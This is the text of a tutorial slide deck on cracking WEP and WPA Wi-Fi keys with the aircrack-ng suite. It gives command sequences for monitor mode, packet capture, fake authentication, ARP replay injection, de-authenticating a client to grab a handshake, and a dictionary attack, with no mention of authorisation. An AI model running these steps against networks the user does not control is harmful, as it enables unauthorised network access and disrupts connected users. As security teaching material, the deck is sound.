Wireless Cracking

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Wireless Cracking
By:
Christopher Zacky
aircrack-ng Suite
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http://www.aircrack-ng.org
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airodump-ng
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Capture packets
airmon-ng
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Put your wireless card into monitor mode
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I just use iwconfig for this
aireplay-ng
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Do fake authentications
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ARP replay requests
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De-authenticate other clients
aircrack-ng
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To crack the key
WEP and WPA
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WEP key... relatively easy to crack
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Don't use WEP, wtf is wrong with you
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ARP replay request
WPA key... not as easy, but still possible
especially if your password is lame
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You need to capture a handshake
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Can only be done with brute force, which is a
dictionary-based attack
What do you need?
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aircrack-ng
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It's free and open source
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Some linux distributions come with it installed
(like backtrack, or pentoo)
Wireless card
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Needs to be able to go into monitor mode
(sometimes Windows has a problem with that)
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Needs to be capable of wireless injection
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Just because you are close enough to receive
wireless packets, does not mean you are
close enough to send them
WEP Crack - Concepts
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http://www.aircrack-ng.org/doku.php?
id=simple_wep_crack
Uses tens of thousands of initialization vectors
(IVs)
The process is sped up through injection
aircrack-ng runs an algorithm on the captured
IVs to crack the key
WEP Crack - Overview
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Find the essid, channel, and mac address of the
access point using airodump-ng
Put wireless card in monitor mode and begin
listening on the correct channel
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Your will be recording packets into a file
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Do a fake authentication with the access point
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Put aireplay-ng ARP replay request mode
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Capture lots of packets
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I wait till I have 100,000
Run aircrack-ng and crack the key!
airodump-ng
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airodump-ng <device_name>
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airodump-ng wlan0
Write down the essid, channel, and mac
address
Using screen helps a lot
Also, use ifconfig and write down your wireless
card's mac address... you'll need it later
Monitor Mode
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Some people use airmon-ng... I don't
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You need to be on the right channel before you
start capturing packets
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I use iwconfig
Use airodump-ng to find the right channel
Managed mode = regular mode
Monitor mode = what we want to do WEP
cracking
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iwconfig to change channel
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ifconfig to turn interface on/off
Enabling Monitor Mode on the Right
Channel
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ifconfig wlan0 down
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iwconfig wlan0 mode managed
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ifconfig wlan0 up
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iwconfig wlan0 channel 6
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ifconfig wlan0 down
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iwconfig wlan0 mode monitor
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ifconfig wlan0 up
The commands
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airodump-ng -c <channel> --bssid <network_name> w <file_name> <device_name>
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aireplay-ng -1 0 -e <essid> -a <bssid> -h
<my_mac_address> <device_name>
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Do a fake authentication
aireplay-ng -3 -b <bssid> -h <my_mac_address>
<device_name>
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Start capturing packets
Begin packet injection
aircrack-ng <file_name>
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Crack the WEP key
WPA Crack - Overview
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Can only be done via brute force
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You need to capture a handshake
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Wait for someone to connect
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Find someone who is connected and de-auth
them
Run the captured handshake against a
dictionary
You will only crack the key if it is in the
dictionary you are using
WPA crack
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airodump-ng -c <channel> --bssid <network_name> w <file_name> <device_name>
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aireplay-ng -0 1 -a <bssid> -c <client_mac_address>
<device_name>
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Start capturing packets
De-authenticate the client
aircrack-ng -w <password_list> -b <bssid>
<file_name>
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Crack the WPA key
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